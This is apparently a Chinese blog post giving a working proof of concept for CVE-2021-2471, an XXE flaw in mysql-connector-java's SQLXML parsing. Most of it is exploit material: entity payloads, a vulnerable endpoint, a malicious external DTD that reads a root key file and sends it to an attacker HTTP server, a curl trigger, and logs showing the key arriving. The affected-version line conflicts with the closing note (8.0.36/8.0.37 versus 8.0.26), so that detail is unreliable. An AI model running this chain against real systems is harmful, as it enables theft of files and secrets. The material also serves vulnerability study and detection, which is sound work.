MySQL CVE-2021-2471 POC

MySQL CVE-2021-2471 XXE POC

零、影响范围

1
2
infected: mysql-connector-java <= 8.0.36
fixed: mysql-connector-java > 8.0.37

一、非现实世界的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final String connection_url = "jdbc:mysql://192.168.64.137:3306/sqlxmltest";
private static final String connection_user = "root";
private static final String connection_pass = "root";
private static final String poc = "" +
"<!DOCTYPE b [" +
" <!ENTITY xxe SYSTEM \"http://192.168.64.137:8041/poc.txt\">" +
"]>" +
"<name>&xxe;</name>";

public static void poc() throws Exception {
Connection connection = DriverManager.getConnection(connection_url, connection_user,connection_pass);
SQLXML sqlxml = connection.createSQLXML();
sqlxml.setString(poc);
sqlxml.getSource(DOMSource.class);
}

二、现实世界的POC

1、建表

MySQL 中没有 SQLXML 类型,建表的时候选择字符串类型即可。

1
2
3
4
create table RSS_FEEDS
(RSS_NAME varchar(32) NOT NULL,
RSS_FEED_XML longtext NOT NULL,
PRIMARY KEY (RSS_NAME));

2、初始化表数据

1
2
3
INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`) 
VALUES ('NORMAL',
'<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<struts>\r\n <constant name=\"struts.i18n.encoding\" value=\"gb2312\">324</constant>\r\n <package name=\"stuts2\" extends=\"struts-default\">\r\n <action name=\"login\" class=\"ActionUnit.Person\">\r\n <result name=\"s\">1_1.jsp</result>\r\n <result name=\"t\">1_2.jsp</result>\r\n <result name=\"m\">1_3.jsp</result>\r\n <result name=\"fail\">1_4.jsp</result>\r\n </action>\r\n <action name=\"modifyPassword\" class=\"student.ModifyPassword\">\r\n <result name=\"success\">2_1.jsp</result>\r\n <result name=\"fail\">2_2.jsp</result>\r\n </action>\r\n <action name=\"studentquery\" class=\"student.QueryScore\">\r\n <result name=\"success\">3_1.jsp</result>\r\n <result name=\"false\">3_2.jsp</result>\r\n </action>\r\n <action name=\"infoquery\" class=\"student.QueryInfo\">\r\n <result name=\"success\">4_1.jsp</result>\r\n <result name=\"false\">4_2.jsp</result>\r\n </action>\r\n </package>\r\n</struts>');

3、读表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@RequestMapping(value = "/get/{rss_name}")
public String get_sql_xml(@PathVariable("rss_name") String rss_name) throws Exception {
Connection con = DriverManager.getConnection(connection_url, connection_user,connection_pass);

String selectRowQuery =
"select RSS_NAME, RSS_FEED_XML " +
"from RSS_FEEDS " +
"WHERE RSS_NAME = ?";
PreparedStatement selectRow = con.prepareStatement(selectRowQuery);
selectRow.setString(1, rss_name);
ResultSet resultSet = selectRow.executeQuery();
resultSet.next();
SQLXML sqlxml = resultSet.getSQLXML(2);
DOMSource domSource = sqlxml.getSource(DOMSource.class);
return domSource.getNode().getNodeName();
}

4、攻击者:通过SQL注入或者数据库访问来修改数据

1
2
3
INSERT INTO `sqlxmltest`.`RSS_FEEDS` (`RSS_NAME`, `RSS_FEED_XML`) 
VALUES ('READFILE',
'<!DOCTYPE data SYSTEM \"http://192.168.64.137:8041/xxe.dtd\"><name>&xxe;</name>');

5、攻击者准备 dtd 文件

1
2
3
<!ENTITY % file SYSTEM "file:///opt/security/rootkey/1.key">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://192.168.64.137:8041/?%file;'>">
%all;

6、攻击者准备 web server

1
python -m SimpleHTTPServer 8041

7、攻击者触发漏洞

1
curl -vv 'http://192.168.64.137:8080/get/READFILE'

8、攻击者的 web server收到 dtd 下载请求和 key 文件读取成功的报文

1
2
3
4
5
6
$ python -m SimpleHTTPServer 8041                                                                                                                                                                                                                                                       1 ⨯
Serving HTTP on 0.0.0.0 port 8041 ...


192.168.64.137 - - [23/Oct/2021 13:00:59] "GET /xxe.dtd HTTP/1.1" 200 -
192.168.64.137 - - [23/Oct/2021 13:00:59] "GET /?key=3c0bac92-977a-4cb5-afa7-32b2e83605bf HTTP/1.1" 200 -

三、漏洞查找关键点

1
mysql-connector-java-8.0.26.jar or lower version
1
2
SQLXML sqlxml = resultSet.getSQLXML(2);
DOMSource domSource = sqlxml.getSource(DOMSource.class);